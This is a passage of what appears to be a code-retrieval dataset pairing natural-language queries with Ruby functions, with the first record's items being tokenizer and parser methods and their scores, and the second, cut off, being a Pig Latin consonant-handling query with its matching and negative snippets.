"def build_token(aTokenType)\n\t\tif [:Aborted, :Failed].include? @tokenizing_state\n\t\t\tresult = nil\n\t\telse\n\t\t\t@tokenizing_state = :Recognized\n\t\t\tif (aTokenType == :EOS) \n\t\t\t\tresult = eos_marker()\n\t\t\telse\n\t\t\t\t# TODO: change from couple to triples (token type, value, lexeme). Ultimately add token position as well.\n\t\t\t\ttoken_pos = build_position()\n\t\t\t\tresult = [aTokenType, Token.new(lexeme.dup, lexeme.dup, token_pos)]\n\t\t\tend\n\t\t\t\n\t\t\tlexeme.clear\n\t\tend\n\t\t\n\t\treturn result\n\tend",
"def match(s)\n\n a = []\n\n if s =~ /^\\w+\\(/ then\n\n found, token, remainder = lmatch(s.chars, '(',')')\n\n if found == ')' then\n a << token\n end\n\n elsif s =~ /^[\\w\\/]+\\[/\n\n found, token, remainder = lmatch(s.chars, '[',']') \n a << token\n a2 = match remainder\n\n token << a2.first if a2.first \n a.concat a2[1..-1]\n\n a2\n\n else\n token = s.slice!(/^[\\w\\/]+/)\n a << token\n remainder = s\n end\n\n operator = remainder.slice!(/^\\s*\\|\\s*/)\n\n if operator then\n a.concat [operator, *match(remainder)]\n end\n \n a\n end",
"def arguments\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 66 )\n return_value = ArgumentsReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal318 = nil\n char_literal320 = nil\n char_literal322 = nil\n char_literal323 = nil\n argument319 = nil\n argument321 = nil\n\n tree_for_char_literal318 = nil\n tree_for_char_literal320 = nil\n tree_for_char_literal322 = nil\n tree_for_char_literal323 = nil\n stream_RPAREN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token RPAREN\" )\n stream_COMMA = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token COMMA\" )\n stream_LPAREN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token LPAREN\" )\n stream_argument = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule argument\" )\n begin\n # at line 690:5: '(' ( argument ( ',' argument )* ( ',' )? )? ')'\n char_literal318 = match( LPAREN, TOKENS_FOLLOWING_LPAREN_IN_arguments_4895 )\n if @state.backtracking == 0\n stream_LPAREN.add( char_literal318 )\n end\n # at line 690:10: ( argument ( ',' argument )* ( ',' )? )?\n alt_78 = 2\n look_78_0 = @input.peek( 1 )\n\n if ( look_78_0 == GENERAL || look_78_0 == GET || look_78_0 == ARROW || look_78_0 == REGEX || look_78_0 == LBRACE || look_78_0 == LBRACK || look_78_0 == SET || look_78_0 == DDOC || look_78_0 == LPAREN || look_78_0 == DELETE || look_78_0.between?( DGENERAL, MACRO ) || look_78_0 == THIS || look_78_0 == TRUE || look_78_0.between?( TYPEOF, NEW ) || look_78_0 == EACH || look_78_0 == UNDEFINED || look_78_0 == NULL || look_78_0 == FALSE || look_78_0 == VOID || look_78_0 == FUNCTION || look_78_0.between?( POUND, DOC ) || look_78_0.between?( T__148, T__150 ) )\n alt_78 = 1\n elsif ( look_78_0 == IF || look_78_0 == IN || look_78_0.between?( BREAK, RETURN ) || look_78_0 == CASE || look_78_0 == CATCH || look_78_0.between?( CONTINUE, LET ) || look_78_0 == DEFAULT || look_78_0 == SWITCH || look_78_0 == DO || look_78_0 == THROW || look_78_0 == TRY || look_78_0 == ELSE || look_78_0 == UNLESS || look_78_0 == UNTIL || look_78_0.between?( VAR, FINALLY ) || look_78_0 == FOR || look_78_0 == WHILE || look_78_0 == WITH || look_78_0 == YIELD ) and ( ( property_definition? ) )\n alt_78 = 1\n elsif ( look_78_0 == AMP || look_78_0 == INCR || look_78_0 == IS_DEFINED || look_78_0 == DECR || look_78_0 == MINUS || look_78_0 == TILDE || look_78_0 == NOT || look_78_0 == PLUS || look_78_0 == IS_UNDEFINED )\n alt_78 = 1\n end\n case alt_78\n when 1\n # at line 690:12: argument ( ',' argument )* ( ',' )?\n @state.following.push( TOKENS_FOLLOWING_argument_IN_arguments_4900 )\n argument319 = argument\n @state.following.pop\n if @state.backtracking == 0\n stream_argument.add( argument319.tree )\n end\n # at line 690:22: ( ',' argument )*\n while true # decision 76\n alt_76 = 2\n look_76_0 = @input.peek( 1 )\n\n if ( look_76_0 == COMMA )\n look_76_1 = @input.peek( 2 )\n\n if ( look_76_1.between?( AMP, GENERAL ) || look_76_1 == GET || look_76_1 == ARROW || look_76_1 == IF || look_76_1.between?( IN, REGEX ) || look_76_1 == INCR || look_76_1.between?( BREAK, RETURN ) || look_76_1 == IS_DEFINED || look_76_1 == CASE || look_76_1 == CATCH || look_76_1 == LBRACE || look_76_1 == LBRACK || look_76_1.between?( SET, LET ) || look_76_1 == DDOC || look_76_1.between?( DECR, LPAREN ) || look_76_1 == DEFAULT || look_76_1 == DELETE || look_76_1.between?( DGENERAL, SWITCH ) || look_76_1.between?( MINUS, DO ) || look_76_1 == THROW || look_76_1 == TILDE || look_76_1 == TRUE || look_76_1 == TRY || look_76_1.between?( TYPEOF, NEW ) || look_76_1.between?( EACH, UNLESS ) || look_76_1 == UNTIL || look_76_1 == FALSE || look_76_1.between?( VAR, FINALLY ) || look_76_1.between?( VOID, FOR ) || look_76_1 == WHILE || look_76_1.between?( WITH, YIELD ) || look_76_1.between?( IS_UNDEFINED, DOC ) || look_76_1.between?( T__148, T__150 ) )\n alt_76 = 1\n\n end\n\n end\n case alt_76\n when 1\n # at line 690:24: ',' argument\n char_literal320 = match( COMMA, TOKENS_FOLLOWING_COMMA_IN_arguments_4905 )\n if @state.backtracking == 0\n stream_COMMA.add( char_literal320 )\n end\n @state.following.push( TOKENS_FOLLOWING_argument_IN_arguments_4907 )\n argument321 = argument\n @state.following.pop\n if @state.backtracking == 0\n stream_argument.add( argument321.tree )\n end\n\n else\n break # out of loop for decision 76\n end\n end # loop for decision 76\n # at line 690:41: ( ',' )?\n alt_77 = 2\n look_77_0 = @input.peek( 1 )\n\n if ( look_77_0 == COMMA )\n alt_77 = 1\n end\n case alt_77\n when 1\n # at line 690:41: ','\n char_literal322 = match( COMMA, TOKENS_FOLLOWING_COMMA_IN_arguments_4913 )\n if @state.backtracking == 0\n stream_COMMA.add( char_literal322 )\n end\n\n end\n\n end\n char_literal323 = match( RPAREN, TOKENS_FOLLOWING_RPAREN_IN_arguments_4919 )\n if @state.backtracking == 0\n stream_RPAREN.add( char_literal323 )\n end\n # AST Rewrite\n # elements: argument\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 690:53: -> ^( ARGUMENTS ( argument )* )\n # at line 690:56: ^( ARGUMENTS ( argument )* )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( ARGUMENTS, \"ARGUMENTS\" ), root_1 )\n\n # at line 690:69: ( argument )*\n while stream_argument.has_next?\n @adaptor.add_child( root_1, stream_argument.next_tree )\n\n end\n\n stream_argument.reset();\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 66 )\n\n end\n \n return return_value\n end",
"def token_types\n @tokens.map(&:type)\n end",
"def token_types\n @tokens.map(&:type)\n end",
"def arglist\n expect :call, :attrasgn, :safe_call, :safe_attrasgn, :super, :zsuper\n\n case self.node_type\n when :call, :attrasgn, :safe_call, :safe_attrasgn\n self[3..-1].unshift :arglist\n when :super, :zsuper\n if self[1]\n self[1..-1].unshift :arglist\n else\n Sexp.new(:arglist)\n end\n end\n end",
"def get_arg_list\n return nil if node_type != :call\n\n sons.each do |son|\n if son.node_type == :arglist\n return son.sons.map {|arg| arg.name}.join(', ')\n end\n end\n\n return nil\n end",
"def parse(level=0, expected=nil, list=false)\n chain = false\n exp = []\n while true\n case fetch_token\n when '('\n exp << parse(level + 1, @@matching_paren[@token], true)\n when '[', '{'\n exp << parse(level + 1, @@matching_paren[@token])\n when ')', ']', '}'\n raise RuntimeError.new(\"Mismatched closing paren\") if @token != expected\n break\n when :\"'\"\n case fetch_token\n when '(', '[', '{' then exp << [:quote].concat([parse(level+1, @@matching_paren[@token])])\n else exp << [:quote, @token]\n end\n when :'.'\n if list\n rest = parse(level, ')')\n raise RuntimeError.new('Syntax error - more than one sexp after dot.') if rest.length > 1\n exp = exp + rest\n chain = true\n else\n raise RuntimeError.new('Syntax error - dot outside of a list.')\n end\n when :nil\n exp << nil\n when String, Fixnum, Bignum, Float, Symbol\n exp << @token\n when nil\n break\n end\n end\n list ? exp.send(chain ? :to_cons_chain : :to_list) : exp\n end",
"def token_tuples(type)\n results = get_tokens(type)\n results.map do |app_result|\n token_fields(type).map do |field|\n app_result[field]\n end.transpose\n end.flatten(1)\nend",
"def token_type; end",
"def parse_params\n params = []\n\n expect(:L_PARANTH)\n\n params = parse_params_list if peek?(:ID)\n\n expect(:R_PARANTH)\n\n params\n end",
"def tokenize ; end",
"def tokenize ; end",
"def parse(token)\n return parseExpression(token)\n end",
"def split_or_clauses(args)\n level = 0\n i = 0\n or_positions = []\n while i < args.length\n arg = args[i]\n if arg == BOOLEAN_OR && level == 0\n or_positions << i\n end\n if arg == OPEN_PAREN\n level += 1\n elsif arg == CLOSE_PAREN\n level -= 1\n if level == -1\n or_positions << i\n return or_positions\n end\n end\n i += 1\n end\n or_positions << args.length unless or_positions.empty?\n or_positions\nend",
"def getNextToken\n \n #Check if the end has been reached\n if @currentChar == nil\n return\n end\n if @currentChar.match(/\\s/) != nil\n skipWhitespaces\n end\n \n if @currentChar == '%'\n comment\n if @currentChar.match(/\\s/) != nil\n skipWhitespaces\n end\n end \n \n if @currentChar.match(/[A-Za-z0-9_]/) != nil\n return Token.new(NAME, name)\n end\n \n if @currentChar == \"\\\"\"\n return Token.new(STRING, string)\n end\n \n if @currentChar == '{'\n advance\n return Token.new(OPENING_BRACE,'{')\n end\n \n if @currentChar == '}'\n advance\n return Token.new(CLOSING_BRACE,'}')\n end\n \n if @currentChar == '['\n advance\n return Token.new(OPENING_BRACKET,'[')\n end\n \n if @currentChar == ']'\n advance\n return Token.new(CLOSING_BRACKET,']')\n end\n \n if @currentChar == ':'\n advance\n return Token.new(COLON,':')\n end\n \n if @currentChar == '*'\n advance\n return Token.new(ASTERIX,'*')\n end\n \n if @currentChar == '='\n advance\n return Token.new(EQUALS,'=')\n end\n \n if @currentChar == ';'\n advance\n return Token.new(SEMICOLON,';')\n end\n \n if @currentChar == '^'\n advance\n return Token.new(CIRCUMFLEX,'^')\n end\n \n if @currentChar == '+'\n advance\n return Token.new(PLUS,'+')\n end\n if @currentChar == '('\n advance\n return Token.new(OPENING_PARANTHESIS,'(')\n end\n if @currentChar == ')'\n advance\n return Token.new(CLOSING_PARANTHESIS,')')\n end\n if @currentChar == '.'\n advance\n return Token.new(DOT,'.')\n end\n if @currentChar == '#'\n advance\n return Token.new(HASH,'#')\n end\n if @currentChar == ','\n advance\n return Token.new(COMMA,',')\n end\n error\n \n return Token.new(EOF,'EOF') \n \n end",
"def func_decl\n type_name\n @instruction.push(@enum.peek.value)\n match(:identifier)\n @instruction.push(@enum.peek.value)\n match(Token.new(:symbol, '('))\n parameter_list\n @instruction.push(@enum.peek.value)\n match(Token.new(:symbol, ')'))\n end",
"def tokens=(_arg0); end",
"def tokens=(_arg0); end",
"def tokens=(_arg0); end",
"def parametros\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n\n\n return_value = ParametrosReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n root_0 = nil\n\n __COMA135__ = nil\n valor134 = nil\n valor136 = nil\n\n\n tree_for_COMA135 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 143:4: valor ( COMA valor )*\n @state.following.push( TOKENS_FOLLOWING_valor_IN_parametros_634 )\n valor134 = valor\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, valor134.tree )\n end\n\n # at line 143:10: ( COMA valor )*\n while true # decision 17\n alt_17 = 2\n look_17_0 = @input.peek( 1 )\n\n if ( look_17_0 == COMA )\n alt_17 = 1\n\n end\n case alt_17\n when 1\n # at line 143:11: COMA valor\n __COMA135__ = match( COMA, TOKENS_FOLLOWING_COMA_IN_parametros_637 )\n if @state.backtracking == 0\n tree_for_COMA135 = @adaptor.create_with_payload( __COMA135__ )\n @adaptor.add_child( root_0, tree_for_COMA135 )\n\n end\n\n @state.following.push( TOKENS_FOLLOWING_valor_IN_parametros_639 )\n valor136 = valor\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, valor136.tree )\n end\n\n\n else\n break # out of loop for decision 17\n end\n end # loop for decision 17\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n if @state.backtracking == 0\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n\n end\n\n return return_value\n end",
"def expression_list\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 27 )\n return_value = ExpressionListReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n char_literal104 = nil\n expression103 = nil\n expression105 = nil\n\n tree_for_char_literal104 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 146:5: expression ( ',' expression )*\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_list_788 )\n expression103 = expression\n @state.following.pop\n\n @adaptor.add_child( root_0, expression103.tree )\n # at line 146:16: ( ',' expression )*\n while true # decision 30\n alt_30 = 2\n look_30_0 = @input.peek( 1 )\n\n if ( look_30_0 == COMMA )\n alt_30 = 1\n\n end\n case alt_30\n when 1\n # at line 146:18: ',' expression\n _last = @input.look\n char_literal104 = match( COMMA, TOKENS_FOLLOWING_COMMA_IN_expression_list_792 )\n\n tree_for_char_literal104 = @adaptor.copy_node( char_literal104 )\n\n root_0 = @adaptor.become_root( tree_for_char_literal104, root_0 )\n\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_list_795 )\n expression105 = expression\n @state.following.pop\n\n @adaptor.add_child( root_0, expression105.tree )\n\n\n else\n break # out of loop for decision 30\n end\n end # loop for decision 30\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 27 )\n\n end\n \n return return_value\n end",
"def get_token\n column, line = @column, @line\n while true\n get_chars if @buf.empty? and not @eof\n return [:eof, nil, line, column] if @eof and @buf.empty?\n case @buf\n when /\\A\\(/\n eat(1)\n return [:open, nil, line, column]\n when /\\A\\)/\n eat(1)\n return [:close, nil, line, column]\n when /\\A\\[\\]=/\n eat(3)\n return [:expr, :\"[]=\", line, column]\n when /\\A\\[\\](.*)/m\n # Can be partial []=\n if ($1 == \"\") and not @eof\n get_chars\n redo\n end\n eat(2)\n return [:expr, :\"[]\", line, column]\n when /\\A\\[(.*)/m\n # Can be partial [] or []=\n if ($1 == \"\") and not @eof\n get_chars\n redo\n end\n eat(1)\n return [:sqopen, nil, line, column]\n when /\\A\\]/\n eat(1)\n return [:sqclose, nil, line, column]\n when /\\A\\'/\n eat(1)\n return [:quote, nil, line, column]\n when /\\A\\`/ # `\n eat(1)\n return [:quasiquote, nil, line, column]\n when /\\A\\,@/\n eat(2)\n return [:\"unquote-splicing\", nil, line, column]\n when /\\A\\,(.?)/m\n # Possible begin of ,@\n if $1 == \"\" and not @eof\n get_chars\n redo\n else\n eat(1)\n return [:unquote, nil, line, column]\n end\n when /\\A([ \\t\\r\\n]+)/\n eat($1.size)\n column, line = @column, @line\n redo\n when /\\A(#!.*\\n)/\n eat($1.size)\n column, line = @column, @line\n redo\n when /\\A(;.*\\n)/\n eat($1.size)\n column, line = @column, @line\n redo\n when /\\A;/m\n # Partial COMMENT\n if @eof\n return\n else\n get_chars\n redo\n end\n when /\\A#!/m\n # Partial SHEBANG\n if @eof\n return\n else\n get_chars\n redo\n end\n when /\\A#t/\n eat(2)\n return [:expr, :true, line, column]\n when /\\A#f/\n eat(2)\n return [:expr, :false, line, column]\n when /\\A#\\Z/m\n # Partial SHEBANG or #T or #F\n unless @eof\n get_chars\n redo\n end\n when /\\A([+\\-]?[0-9]+(?:(?:\\.[0-9]+)?[eE][+\\-]?[0-9]+|\\.[0-9]+))(.?)/m\n # Possible FLOAT\n # Partial FLOAT also matches, so continue if possible\n s, c = $1, $2\n if (c == \"\" or c =~ /\\A[eE]/) and not @eof\n get_chars\n redo\n else\n eat(s.size)\n return [:expr, eval(s), line, column]\n end\n when /\\A([+\\-]?(?:[1-9][0-9]*|0x[0-9a-fA-F]+|0b[01]+|0o[0-7]+|0[0-7]+|0))(.?)/m\n # Possible INT\n # Partial INT also matches, so continue if possible\n # Partial FLOAT also matches, so handle it\n s, c = $1, $2\n if (c == \"\" or c =~ /\\A[.eExbo]/) and not @eof\n get_chars\n redo\n else\n eat(s.size)\n return [:expr, eval(s), line, column]\n end\n when /\\A([a-zA-Z!$%&*+\\-.:<=>?@^_~][0-9a-zA-Z!$%&*+\\-.:<=>?@^_~]*)(.?)/m\n # Possible ID\n # Partial ID also matches, so continue if possible\n if $2 == \"\" and not @eof\n get_chars\n redo\n else\n eat($1.size)\n s = $1.to_sym\n stt = Hash.new{|ht,k| k}.merge({ :\"..\" => :dotdot, :\"...\" => :dotdotdot })\n return [:expr, stt[s], line, column]\n end\n when /\\A(\"(?:[^\"#\\\\]|#*\\\\.|#+[^{\\\\#\"])*#*\")/\n eat($1.size)\n return [:expr, eval($1), line, column]\n when /\\A((\"(?:[^\"#\\\\]|#*\\\\.|#+[^{\\\\#\"])*#*)#\\{)/\n eat($1.size)\n return [:istr_beg, eval($2+'\"'), line, column]\n when /\\A(\\}((?:[^\"#\\\\]|#*\\\\.|#+[^{\\\\#\"])*#*\"))/\n eat($1.size)\n return [:istr_end, eval('\"'+$2), line, column]\n when /\\A(\\}((?:[^\"#\\\\]|#*\\\\.|#+[^{\\\\#\"])*#*)#\\{)/\n eat($1.size)\n return [:istr_mid, eval('\"'+$2+'\"'), line, column]\n when /\\A\"/ # \"\n # Possible partial string/istr_beg\n if @eof\n raise \"EOF inside string: #{@buf}\"\n else\n get_chars\n redo\n end\n when /\\A\\}/ # \"\n # Possible partial istr_mid/istr_end\n if @eof\n raise \"EOF inside interpolated string: #{@buf}\"\n else\n get_chars\n redo\n end\n when /\\A(\\/(?:[^\\/\\\\]|\\\\.)*\\/[mix]*)(.?)/\n if $2 == \"\" and not @eof\n get_chars\n redo\n else\n eat($1.size)\n return [:expr, eval($1), line, column]\n end\n when /\\A\\//\n # Possible partial regexp\n if @eof\n raise \"EOF inside interpolated string: #{@buf}\"\n else\n get_chars\n redo\n end\n else\n raise \"Not sure what to do with: #{@buf}\"\n end\n end \n end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def read_the_tokens(tokens)\n\tif tokens.length == 0\n\t\traise \"unexpected end of file\"\n\tend\n\t\n\ttoken = tokens.shift\n\n\tif token == \"(\"\n\t\tlist = []\n\t\twhile tokens[0] != \")\"\n\t\t\t#group all the subexpressions in the list!\n\t\t\tlist << read_the_tokens(tokens)\n\t\tend\n\t\ttokens.shift #this is to shift the closing braces\n\t\treturn list\n\telsif token == \")\"\n\t\traise \"unexpected closing braces\"\n\telse\n\t\tconverted_atom = atom(token)\n\t\treturn converted_atom \n\tend\nend",
"def tokenize; end",
"def tokenize; end",
"def pop(expected_type, expected_tokens = [])\n next_type, next_token, raw = tokenizer{ @tokens.next } # Consumes the next token\n @current_line = raw[:line]\n @current_index = raw[:index]\n\n # Checks token type\n primitive = next_type == :KEYWORD && [:INT, :CHAR, :BOOLEAN].include?(next_token)\n type_valid = if expected_type == :TYPE\n # Variable type consists of diferrent token types\n primitive || next_type == :IDENTIFIER\n else\n next_type == expected_type\n end\n\n expected_tokens = [expected_tokens].flatten\n token_str = expected_tokens.join(\"' or '\")\n error_message = \"#{expected_type} '#{token_str}' expected but was #{next_type} '#{next_token}'\"\n\n if !type_valid\n fail error_message\n end\n\n # Checks token content\n if expected_tokens.empty? || expected_tokens.include?(next_token)\n write_token_as_xml(next_type, next_token)\n next_token\n else\n fail error_message\n end\n end",
"def param_type(keys)\n puts \"Entering param_type '#{@sy}'\" if DEBUG\n type = nil\n \n if ParamType.first.include? @sy.text\n if @sy.type == TokenType::ARRAY_TOKEN\n type = param_array(keys | ParamType.follow)\n else\n type = @sy.text\n next_token\n end\n else\n error(\"Line #{@sy.line_number}: Invalid parameter type #{@sy.text}\", keys | ParamType.follow)\n end\n \n puts \"Leaving param_type '#{@sy}'\" if DEBUG\n return type if type.is_a? TypeNode\n TypeNode.new type\n end",
"def local_variable_list(dummy_variable, local_variables, method)\n\n\n\n # 161:7: local_variable_declarator[dummy_variable, local_variables, method] ( ',' local_variable_declarator[dummy_variable, local_variables, method] )*\n local_variable_declarator(dummy_variable, local_variables, method)\n\n # 162:7: ( ',' local_variable_declarator[dummy_variable, local_variables, method] )*\n while true\n alt20 = 2\n # ()* loopback of 162:7: ( ',' local_variable_declarator[dummy_variable, local_variables, method] )*\n look_ahead20_0 = look_ahead(1)\n if look_ahead20_0 == :COMMA \n alt20 = 1\n end\n case alt20\n when 1\n # 162:8: ',' local_variable_declarator[dummy_variable, local_variables, method]\n match(:COMMA)\n local_variable_declarator(dummy_variable, local_variables, method)\n\n else\n break\n end\n end\n\n\n\n end",
"def tokens\n tok_sequence = []\n until @scanner.eos?\n token = _next_token\n tok_sequence << token unless token.nil?\n end\n\n tok_sequence\n end",
"def parameter_list_tail(fn)\n if @scanner.peek.value == ','\n comma\n @prog_code << ','\n match(Token.new(:reserved, 'int'))\n @prog_code << \"int \"\n name = @scanner.next.value\n fn.add_param(name)\n @prog_code << name\n parameter_list_tail(fn)\n end\n end",
"def tokens(tokens, options = T.unsafe(nil)); end",
"def tokenize_args(args)\n args\n end",
"def args_to_params(sexp)\n result = []\n sexp.each do |arg|\n if arg[0] == :lasgn\n ref = variable(arg[1])\n scope.add_arg ref\n result << ref\n elsif arg[0] == :array\n result << scope.next_temp\n else\n raise \"Bad js_block_arg: #{arg[0]}\"\n end\n end\n\n result\n end",
"def extract_parameter_types(type_expr)\n # No type\n if type_expr.nil?\n []\n # Multiple types to extract (ex. Variant[TargetSpec, String])\n elsif defined?(type_expr.keys)\n type_expr.keys.flat_map { |param| extract_parameter_types(param) }\n # Store cased value\n elsif defined?(type_expr.cased_value)\n [type_expr.cased_value]\n # Type alias, able to resolve alias\n elsif defined?(type_expr.resolved_type.name)\n [type_expr.resolved_type.name]\n # Nested type alias, recurse\n elsif defined?(type_expr.type)\n extract_parameter_types(type_expr.type)\n # Array conatins alias types\n elsif defined?(type_expr.types)\n type_expr.types.flat_map { |param| extract_parameter_types(param) }\n # Each element can be handled by a resolver above\n elsif defined?(type_expr.element_type)\n extract_parameter_types(type_expr.element_type)\n end\n end",
"def transform_params(param_node, scope_stack)\n param_node = param_node[1] if param_node[0] == :paren\n if param_node\n positional_1, optional, rest, positional_2, block = param_node[1..5]\n add_variable_list(positional_1, scope_stack, false) if positional_1\n if optional\n optional.each do |var, value|\n # MUST walk value first. (def foo(y=y); end) == (def foo(y=y()); end)\n transform_tree(value, scope_stack)\n add_variables_from_node(var, scope_stack, false)\n end\n end\n if rest && rest[1]\n add_variables_from_node(rest, scope_stack, false)\n end\n add_variable_list(positional_2, scope_stack, false) if positional_2\n add_variables_from_node(block, scope_stack, false) if block\n end\n end",
"def parse_argument_list\n scanner = @scanner\n\n raise SyntaxError, \"Expected ( to begin argument list.\" unless scanner.scan /\\(/\n\n idx = 0\n args = {}\n until scanner.match?(/\\)/) or scanner.eos? do\n arg = parse_argument\n if arg[:key] == :NO_KEY\n arg[:key] = idx\n idx += 1\n end\n\n args[arg[:key]] = arg[:value].strip\n\n scanner.scan /,/\n end\n\n scanner.scan /\\)/\n\n return args\n end",
"def visit_Parameter(o)\n { o.declarator.accept(self) =>\n { \"attribute\" => o.attribute.accept(self),\n \"type\" => o.type.accept(self) } }\n end",
"def token(type, text)\n value = case type\n when :INTEGER then text.to_i\n when :REAL then text.to_f\n when :STRING then text[1..-2]\n else text\n end\n\n token = Token.new(value, text, @line, @column)\n\n update_counter(token.source)\n\n [type, token]\n end",
"def read_array\n vals = []\n while @tokenizer.more?\n vals.push(@tokenizer.next_token)\n sep = @tokenizer.next_token\n return vals if sep == ')'\n raise \"missing ',' in 'in' list of values: #{@tokenizer.sql}\" unless sep == ','\n end\n raise \"missing ')' at end of 'in' list of values: #{@tokenizer.sql}\"\n end",
"def parse (input)\n\t\treturn parse_tail(input.gsub('(', ' ( ').gsub(')', ' ) ').split)\n\tend",
"def scan_arguments(*how)\n if how.count == 1\n pattern = how.first\n else\n left_delimiter = how[0] || self.left_delimiter\n right_delimiter = how[1] || self.right_delimiter\n\n return [] unless left_delimiter && right_delimiter\n\n pattern = Regexp.new(Regexp.escape(left_delimiter) + '(.*?)' + Regexp.escape(right_delimiter))\n end\n\n @arguments = @base.scan(pattern).flatten\n end",
"def printf_func_call_tail\n case @enum.peek.value\n when ','\n @instruction.push(@enum.peek.value)\n comma\n expression\n @instruction.push(@enum.peek.value)\n match(Token.new(:symbol, ')'))\n semicolon\n when ')'\n @instruction.push(@enum.peek.value)\n match(Token.new(:symbol, ')'))\n semicolon\n else\n fail ParseError, \"Expected ',' or ')'. Found #{@enum.peek}\"\n end\n end",
"def archetype_args\n tok = []\n @returns.map { |ent| tok << \"&#{ent.name}\" }\n @accepts.map { |ent| tok << ent.name }\n tok.join(', ')\n end"
] | [
"0.66376424",
"0.6580629",
"0.6500217",
"0.63559425",
"0.61661",
"0.6093485",
"0.60577714",
"0.6030269",
"0.59247357",
"0.5919154",
"0.5918971",
"0.5834444",
"0.5763134",
"0.57408804",
"0.5736345",
"0.56850344",
"0.56667316",
"0.56598485",
"0.5652574",
"0.5630184",
"0.5615968",
"0.5599615",
"0.558743",
"0.5579662",
"0.5578407",
"0.5573424",
"0.5569774",
"0.55612606",
"0.5529826",
"0.5517349",
"0.550584",
"0.5479647",
"0.54711515",
"0.5470381",
"0.54665923",
"0.5430349",
"0.54261863",
"0.54114854",
"0.53482527",
"0.53458434",
"0.5325769",
"0.5321715",
"0.53165793",
"0.5311204",
"0.53055966",
"0.53009856",
"0.5282272",
"0.5269216",
"0.52612215",
"0.5258361",
"0.5249814",
"0.52455026",
"0.52455026",
"0.5237297",
"0.52322644",
"0.5221444",
"0.5212494",
"0.5212205",
"0.5205063",
"0.52012163",
"0.52012163",
"0.5187828",
"0.5180233",
"0.5173663",
"0.51715416",
"0.51551664",
"0.51551664",
"0.51551664",
"0.51545125",
"0.5148444",
"0.5137178",
"0.513346",
"0.513346",
"0.513346",
"0.513346",
"0.513346",
"0.513346",
"0.513346",
"0.513346",
"0.5128177",
"0.5117442",
"0.5117442",
"0.5113593",
"0.5109082",
"0.5097189",
"0.5088379",
"0.508086",
"0.5067211",
"0.5067191",
"0.5067011",
"0.50644094",
"0.50578743",
"0.5055126",
"0.50470597",
"0.5037013",
"0.50353825",
"0.50327754",
"0.502742",
"0.5023132",
"0.5014065"
] | 0.79251134 | 0 |
need to slice all 'consonants' until we see a vowel put the consonants in the back of the word | def translate(phrase)
#split phrase into words
word_array = phrase.split ' '
#to_pig each word
answer_array = word_array.map {|word| to_pig(word)}
#join words back together
answer = answer_array.join ' '
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def consonant_cancel(sentence)\n vowel = \"aeiou\"\n new_arr = []\n sentence.split(\" \").each do |word|\n word.each_char.with_index do |char, i|\n if vowel.include?(char)\n new_word = word[i..-1]\n new_arr << new_word\n break\n end\n end\n end\n new_arr.join(\" \")\nend",
"def next_consonants(vowel_name)\r\n\tconsonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\r\n\tvowel_name = vowel_name.split('')\r\n\tconsonant_name = vowel_name.map do |consonant|\r\n\t if consonants.include?(consonant)\r\n\t consonants.rotate(1)[consonants.index(consonant)]\r\n\t else\r\n\t consonant\r\n\t end\r\n \tend\r\n consonant_name.join\r\nend",
"def consonant_cancel(sentence)\n\tarry = sentence.split(\" \")\n \tfinal = []\n \tvowel = \"aeiou\"\n \tarry.each do |word|\n len = word.length\n word.each_char.with_index do |char, i|\n if vowel.include?(char)\n final << word[i..-1]\n break\n end\n end\n end\n return final.join(\" \")\nend",
